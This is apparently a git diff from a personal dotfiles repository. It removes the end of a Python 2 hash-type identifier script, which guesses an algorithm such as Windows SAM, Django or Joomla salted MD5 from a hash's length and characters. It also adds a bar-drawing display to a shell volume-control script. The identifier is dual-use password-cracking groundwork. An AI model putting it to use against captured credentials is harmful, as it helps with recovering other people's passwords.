hs='860465ede0625deebb4fbbedcb0db9dc65faec30' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("109300") -def sha1saltmd5passsalt(): - hs='6716d047c98c25a9c2cc54ee6134c73e6315a0ff' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("109320") -def sha1saltsha1pass(): - hs='58714327f9407097c64032a2fd5bff3a260cb85f' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("109340") -def sha1saltsha1saltsha1pass(): - hs='cc600a2903130c945aa178396910135cc7f93c63' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("109360") -def sha1usernamepass(): - hs='3de3d8093bf04b8eb5f595bc2da3f37358522c9f' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("109380") -def sha1usernamepasssalt(): - hs='00025111b3c4d0ac1635558ce2393f77e94770c5' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("109400") -def sha1md5pass(): - hs='fa960056c0dea57de94776d3759fb555a15cae87' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("1094202") -def sha1md5passsalt(): - hs='1dad2b71432d83312e61d25aeb627593295bcc9a' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("109440") -def sha1md5sha1pass(): - hs='8bceaeed74c17571c15cdb9494e992db3c263695' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("109460") -def sha1sha1pass(): - hs='3109b810188fcde0900f9907d2ebcaa10277d10e' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("109480") -def sha1sha1passsalt(): - hs='780d43fa11693b61875321b6b54905ee488d7760' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("109500") -def sha1sha1passsubstrpass03(): - hs='5ed6bc680b59c580db4a38df307bd4621759324e' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("109520") -def sha1sha1saltpass(): - hs='70506bac605485b4143ca114cbd4a3580d76a413' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("109540") -def sha1sha1sha1pass(): - hs='3328ee2a3b4bf41805bd6aab8e894a992fa91549' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("109560") -def sha1strtolowerusernamepass(): - hs='79f575543061e158c2da3799f999eb7c95261f07' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("109580") - -def Haval192(): - hs='cd3a90a3bebd3fa6b6797eba5dab8441f16a7dfa96c6e641' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("110040") -def Haval192HMAC(): - hs='39b4d8ecf70534e2fd86bb04a877d01dbf9387e640366029' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("110080") -def Tiger192(): - hs='c086184486ec6388ff81ec9f235287270429b2253b248a70' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("110020") -def Tiger192HMAC(): - hs='8e914bb64353d4d29ab680e693272d0bd38023afa3943a41' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("110060") - -def MD5passsaltjoomla1(): - hs='35d1c0d69a2df62be2df13b087343dc9:BeKMviAfcXeTPTlX' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[32:33].find(':')==0: - jerar.append("112020") - -def SHA1Django(): - hs='sha1$Zion3R$299c3d65a0dcab1fc38421783d64d0ecf4113448' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:5].find('sha1$')==0: - jerar.append("113020") - -def Haval224(): - hs='f65d3c0ef6c56f4c74ea884815414c24dbf0195635b550f47eac651a' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("114040") -def Haval224HMAC(): - hs='f10de2518a9f7aed5cf09b455112114d18487f0c894e349c3c76a681' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("114080") -def SHA224(): - hs='e301f414993d5ec2bd1d780688d37fe41512f8b57f6923d054ef8e59' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("114020") -def SHA224HMAC(): - hs='c15ff86a859892b5e95cdfd50af17d05268824a6c9caaa54e4bf1514' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("114060") - -def SHA256(): - hs='2c740d20dab7f14ec30510a11f8fd78b82bc3a711abe8a993acdb323e78e6d5e' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("115020") -def SHA256HMAC(): - hs='d3dd251b7668b8b6c12e639c681e88f2c9b81105ef41caccb25fcde7673a1132' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("115120") -def Haval256(): - hs='7169ecae19a5cd729f6e9574228b8b3c91699175324e6222dec569d4281d4a4a' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("115040") -def Haval256HMAC(): - hs='6aa856a2cfd349fb4ee781749d2d92a1ba2d38866e337a4a1db907654d4d4d7a' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("115140") -def GOSTR341194(): - hs='ab709d384cce5fda0793becd3da0cb6a926c86a8f3460efb471adddee1c63793' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("115060") -def RipeMD256(): - hs='5fcbe06df20ce8ee16e92542e591bdea706fbdc2442aecbf42c223f4461a12af' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("115080") -def RipeMD256HMAC(): - hs='43227322be1b8d743e004c628e0042184f1288f27c13155412f08beeee0e54bf' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("115160") -def SNEFRU256(): - hs='3a654de48e8d6b669258b2d33fe6fb179356083eed6ff67e27c5ebfa4d9732bb' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("115100") -def SNEFRU256HMAC(): - hs='4e9418436e301a488f675c9508a2d518d8f8f99e966136f2dd7e308b194d74f9' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("115180") -def SHA256md5pass(): - hs='b419557099cfa18a86d1d693e2b3b3e979e7a5aba361d9c4ec585a1a70c7bde4' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("115200") -def SHA256sha1pass(): - hs='afbed6e0c79338dbfe0000efe6b8e74e3b7121fe73c383ae22f5b505cb39c886' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("115220") - -def MD5passsaltjoomla2(): - hs='fb33e01e4f8787dc8beb93dac4107209:fxJUXVjYRafVauT77Cze8XwFrWaeAYB2' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[32:33].find(':')==0: - jerar.append("116020") -def SAM(): - hs='4318B176C3D8E3DEAAD3B435B51404EE:B7C899154197E8A2A33121D76A240AB5' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash.islower()==False and hash[32:33].find(':')==0: - jerar.append("116040") - -def SHA256Django(): - hs='sha256$Zion3R$9e1a08aa28a22dfff722fad7517bae68a55444bb5e2f909d340767cec9acf2c3' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:6].find('sha256')==0: - jerar.append("117020") - -def RipeMD320(): - hs='b4f7c8993a389eac4f421b9b3b2bfb3a241d05949324a8dab1286069a18de69aaf5ecc3c2009d8ef' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("118020") -def RipeMD320HMAC(): - hs='244516688f8ad7dd625836c0d0bfc3a888854f7c0161f01de81351f61e98807dcd55b39ffe5d7a78' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("118040") - -def SHA384(): - hs='3b21c44f8d830fa55ee9328a7713c6aad548fe6d7a4a438723a0da67c48c485220081a2fbc3e8c17fd9bd65f8d4b4e6b' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("119020") -def SHA384HMAC(): - hs='bef0dd791e814d28b4115eb6924a10beb53da47d463171fe8e63f68207521a4171219bb91d0580bca37b0f96fddeeb8b' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("119040") - -def SHA256s(): - hs='$6$g4TpUQzk$OmsZBJFwvy6MwZckPvVYfDnwsgktm2CckOlNJGy9HNwHSuHFvywGIuwkJ6Bjn3kKbB6zoyEjIYNMpHWBNxJ6g.' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:3].find('$6$')==0: - jerar.append("120020") - -def SHA384Django(): - hs='sha384$Zion3R$88cfd5bc332a4af9f09aa33a1593f24eddc01de00b84395765193c3887f4deac46dc723ac14ddeb4d3a9b958816b7bba' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:6].find('sha384')==0: - print " [+] SHA-384(Django)" - jerar.append("121020") - -def SHA512(): - hs='ea8e6f0935b34e2e6573b89c0856c81b831ef2cadfdee9f44eb9aa0955155ba5e8dd97f85c73f030666846773c91404fb0e12fb38936c56f8cf38a33ac89a24e' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("122020") -def SHA512HMAC(): - hs='dd0ada8693250b31d9f44f3ec2d4a106003a6ce67eaa92e384b356d1b4ef6d66a818d47c1f3a2c6e8a9a9b9bdbd28d485e06161ccd0f528c8bbb5541c3fef36f' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("122060") -def Whirlpool(): - hs='76df96157e632410998ad7f823d82930f79a96578acc8ac5ce1bfc34346cf64b4610aefa8a549da3f0c1da36dad314927cebf8ca6f3fcd0649d363c5a370dddb' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("122040") -def WhirlpoolHMAC(): - hs='77996016cf6111e97d6ad31484bab1bf7de7b7ee64aebbc243e650a75a2f9256cef104e504d3cf29405888fca5a231fcac85d36cd614b1d52fce850b53ddf7f9' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("122080") - - -print logo -while True: - jerar=[] - print """ - -------------------------------------------------------------------------""" - hash = raw_input(" HASH: ") - ADLER32(); CRC16(); CRC16CCITT(); CRC32(); CRC32B(); DESUnix(); DomainCachedCredentials(); FCS16(); GHash323(); GHash325(); GOSTR341194(); Haval128(); Haval128HMAC(); Haval160(); Haval160HMAC(); Haval192(); Haval192HMAC(); Haval224(); Haval224HMAC(); Haval256(); Haval256HMAC(); LineageIIC4(); MD2(); MD2HMAC(); MD4(); MD4HMAC(); MD5(); MD5APR(); MD5HMAC(); MD5HMACWordpress(); MD5phpBB3(); MD5Unix(); MD5Wordpress(); MD5Half(); MD5Middle(); MD5passsaltjoomla1(); MD5passsaltjoomla2(); MySQL(); MySQL5(); MySQL160bit(); NTLM(); RAdminv2x(); RipeMD128(); RipeMD128HMAC(); RipeMD160(); RipeMD160HMAC(); RipeMD256(); RipeMD256HMAC(); RipeMD320(); RipeMD320HMAC(); SAM(); SHA1(); SHA1Django(); SHA1HMAC(); SHA1MaNGOS(); SHA1MaNGOS2(); SHA224(); SHA224HMAC(); SHA256(); SHA256s(); SHA256Django(); SHA256HMAC(); SHA256md5pass(); SHA256sha1pass(); SHA384(); SHA384Django(); SHA384HMAC(); SHA512(); SHA512HMAC(); SNEFRU128(); SNEFRU128HMAC(); SNEFRU256(); SNEFRU256HMAC(); Tiger128(); Tiger128HMAC(); Tiger160(); Tiger160HMAC(); Tiger192(); Tiger192HMAC(); Whirlpool(); WhirlpoolHMAC(); XOR32(); md5passsalt(); md5saltmd5pass(); md5saltpass(); md5saltpasssalt(); md5saltpassusername(); md5saltmd5pass(); md5saltmd5passsalt(); md5saltmd5passsalt(); md5saltmd5saltpass(); md5saltmd5md5passsalt(); md5username0pass(); md5usernameLFpass(); md5usernamemd5passsalt(); md5md5pass(); md5md5passsalt(); md5md5passmd5salt(); md5md5saltpass(); md5md5saltmd5pass(); md5md5usernamepasssalt(); md5md5md5pass(); md5md5md5md5pass(); md5md5md5md5md5pass(); md5sha1pass(); md5sha1md5pass(); md5sha1md5sha1pass(); md5strtouppermd5pass(); sha1passsalt(); sha1saltpass(); sha1saltmd5pass(); sha1saltmd5passsalt(); sha1saltsha1pass(); sha1saltsha1saltsha1pass(); sha1usernamepass(); sha1usernamepasssalt(); sha1md5pass(); sha1md5passsalt(); sha1md5sha1pass(); sha1sha1pass(); sha1sha1passsalt(); sha1sha1passsubstrpass03(); sha1sha1saltpass(); sha1sha1sha1pass(); sha1strtolowerusernamepass() - - if len(jerar)==0: - print "" - print " Not Found." - elif len(jerar)>2: - jerar.sort() - print "" - print "Possible Hashs:" - print "[+] ",algorithms[jerar[0]] - print "[+] ",algorithms[jerar[1]] - print "" - print "Least Possible Hashs:" - for a in range(int(len(jerar))-2): - print "[+] ",algorithms[jerar[a+2]] - else: - jerar.sort() - print "" - print "Possible Hashs:" - for a in range(len(jerar)): - print "[+] ",algorithms[jerar[a]] diff --git a/bin/.bin/volume b/bin/.bin/volume index 67146554..1dfb6a70 100755 --- a/bin/.bin/volume +++ b/bin/.bin/volume @@ -3,6 +3,25 @@ # A simple script to adjust the volume # Requires pulse and amixer + +function drawBar(){ + local percent=$1; + + for i in {1..10}; do + local boxPercent=$(($i*10)) + if [ "$boxPercent" -lt "$percent" ]; then + echo -n "■" + elif [ "$boxPercent" -eq "$percent" ]; then + echo -n "■" + elif [ "$(($boxPercent-10))" -lt "$percent" ]; then + echo -n "▣" + else + echo -n "□" + fi + done + +} + case "$1" in "up") amixer -q -D default sset Master 5%+ unmute @@ -14,4 +33,13 @@ case "$1" in amixer -q -D default sset Master toggle esac -command -v notify-send && notify-send "Volume" "$(amixer -D default sget Master | grep -o '\[.*\%' | head -n 1 | tr -d '[')" +volume="$(amixer -D default sget Master | grep -o '\[.*\%' | head -n 1 | tr -d '[%')" +speakerStatus="$(amixer -D default sget Master | grep -o '\[\(on\|off\)' | head -n 1 | tr -d '[')" + + +echo "$speakerStatus" +if [[ "$speakerStatus" == "on" ]]; then + command -v notify-send && notify-send -R "/tmp/volume" "Volume" "$(drawBar $volume) ${volume}%" +else + command -v notify-send && notify-send -R "/tmp/volume" "Volume" "Muted" +fi